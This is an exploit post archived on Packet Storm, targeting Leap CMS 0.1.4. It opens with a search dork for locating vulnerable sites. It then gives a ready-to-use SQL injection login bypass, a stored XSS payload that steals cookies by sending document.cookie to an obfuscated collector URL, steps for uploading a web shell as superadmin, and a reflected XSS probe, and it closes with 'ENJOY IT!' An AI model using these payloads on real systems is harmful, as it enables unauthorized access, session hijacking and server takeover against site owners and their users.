exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Leap CMS 0.1.4 XSS / SQL Injection

Leap CMS 0.1.4 XSS / SQL Injection
Posted May 1, 2009
Authored by YEnH4ckEr

Leap CMS version 0.1.4 suffers from cross site scripting, shell upload, and remote SQL injection vulnerabilities.

tags | exploit, remote, shell, vulnerability, xss, sql injection
SHA-256 | ea61aa70ca20ba665141ddbdeb9d384ab4141a837d0706f940762a57f70535c3

Leap CMS 0.1.4 XSS / SQL Injection

Change Mirror Download
***********************************************************************************************
***********************************************************************************************
** **
** **
** [] [] [] [][][][> [] [] [][ ][] [] [][]] [] [> [][][][> [][][][] **
** || || || [] [][] [] [] [] [] [] [] [] [] [] [] **
** [> [][][][] [][][][> [] [] [] [] [] [][] [] [][] [][][][> [] [] **
** [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\
**==[> [] [] [] [][] [] [] [][][] [] [][] [] [] [] >>--
** [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/
[> [[[]]] [][][][> [][] [] [][[] [[]] [][] [][][] [] [> [][][][> <][] [] **
** **
** **
** ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O **
** ¡PROUD TO BE SPANISH! **
** **
***********************************************************************************************
***********************************************************************************************

----------------------------------------------------------------------------------------------
| MULTIPLE REMOTE VULNERABILITIES |
|--------------------------------------------------------------------------------------------|
| | LEAP CMS 0.1.4 | |
| CMS INFORMATION: ------------------------------ |
| |
|-->WEB: http://leap.gowondesigns.com/ |
|-->DOWNLOAD: http://leap.gowondesigns.com/download.php?leap014.zip |
|-->DEMO: http://php.opensourcecms.com/scripts/details.php?scriptid=161&name=Leap |
|-->CATEGORY: CMS / Lite |
|-->DESCRIPTION: Leap is a single file, template independent, open-source, |
| standards-compliant,extensible content management system for the web... |
|-->RELEASED: 2009-03-13 |
| |
| CMS VULNERABILITY: |
| |
|-->TESTED ON: firefox 3 and I-Explorer 6 |
|-->DORK: "Powered by Leap" |
|-->CATEGORY: AUTH-BYPASS(SQLi)/COOKIE-STEALER (XSS)/SHELL-UPLOAD/ XSS |
|-->AFFECT VERSION: 0.1.4 (maybe <= ?) |
|-->Discovered Bug date: 2009-04-24 |
|-->Reported Bug date: 2009-04-24 |
|-->Fixed bug date: Not fixed |
|-->Info patch: Not fixed |
|-->Author: YEnH4ckEr |
|-->mail: y3nh4ck3r[at]gmail[dot]com |
|-->WEB/BLOG: N/A |
|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. |
|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) |
----------------------------------------------------------------------------------------------


##############################
//////////////////////////////

AUTHENTICATION BYPASS (SQLi):

/////////////////////////////
##############################


<<<<---------++++++++++++++ Condition: magic_quotes_gpc=off +++++++++++++++++--------->>>>


-----------
FILE VULN:
-----------


Path --> [HOME_PATH]/leap.php


function checkSession() {

if($_POST['login']=='Login') {

$_SESSION['userMail']=$_POST['email']; $_SESSION['passWord']=md5($_POST['pwd']);

....
}

$i=@mysql_query("SELECT * FROM ".db('prefix')."users WHERE mail='$_SESSION[userMail]' AND pwd='$_SESSION[passWord]'"); $d=@mysql_fetch_array($i);

....

---------
EXPLOIT:
---------


Email Address: nothing' or 1=1#

Password: nothing


#############################
/////////////////////////////

COOKIES STEALING VULN (XSS):

/////////////////////////////
#############################


<<<<---------++++++++++++++ Condition: Add comment +++++++++++++++++--------->>>>


---------
EXPLOIT:
---------


Go to Link --> http://[HOST]/[HOME_PATH]/?article.[ARTICLE_TITLE]

There it can comment the article.


Add a comment with any name/email and message:


<script>document.location=String.fromCharCode(104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,47,101,120,112,108,111,105,116,45,99,111,111,107,105,101,115,47,119,97,105,116,105,110,103,45,102,111,114,46,112,104,112,63,99,107,61)+document.cookie</script>


PHP Script (Cookies Stealer) --> See: http://www.milw0rm.com/exploits/8453
http://www.milw0rm.com/exploits/8471

Note: Exploit fails if real admin click on log-out button.


############################
////////////////////////////

SHELL UPLOAD VULNERABILITY:

////////////////////////////
############################


<<<<---------++++++++++++++ Condition: Be superadmin (above) +++++++++++++++++--------->>>>


---------
EXPLOIT:
---------


Option: Manage Files. Link --> http://[HOST]/[HOME_PATH]/?admin.system.files

upload your shell there.

Then, Go to the link --> http://[HOST]/[HOME_PATH]/shell.php


########################
////////////////////////

XSS (SEARCH POST FORM):

////////////////////////
########################


Search:

"><script>alert(1)</script>


<<<-----------------------------EOF---------------------------------->>>ENJOY IT!


#######################################################################
#######################################################################
##*******************************************************************##
## ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)! ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
## GREETZ TO: JosS and all SPANISH Hack3Rs community! ##
##*******************************************************************##
#######################################################################
#######################################################################



Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close